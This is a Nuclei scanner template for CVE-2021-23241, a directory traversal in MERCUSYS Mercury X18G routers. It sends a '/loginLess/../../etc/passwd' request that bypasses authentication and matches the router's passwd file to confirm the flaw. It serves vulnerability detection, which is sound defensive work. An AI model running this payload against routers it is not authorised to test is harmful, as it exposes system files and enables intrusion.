nuclei-templates/cves/2021/CVE-2021-23241.yaml

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985 B
YAML

id: CVE-2021-23241
info:
name: Mercury Router Web Server Directory Traversal
author: daffainfo
severity: medium
description: MERCUSYS Mercury X18G 1.0.5 devices allow Directory Traversal via ../ in conjunction with a loginLess or login.htm URI (for authentication bypass) to the web server, as demonstrated by the /loginLess/../../etc/passwd URI.
reference:
- https://github.com/BATTZION/MY_REQUEST/blob/master/Mercury%20Router%20Web%20Server%20Directory%20Traversal.md
- https://nvd.nist.gov/vuln/detail/CVE-2021-23241
tags: cve,cve2021,iot,lfi,router
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.30
cve-id: CVE-2021-23241
cwe-id: CWE-22
requests:
- method: GET
path:
- "{{BaseURL}}/loginLess/../../etc/passwd"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
part: body
- type: status
status:
- 200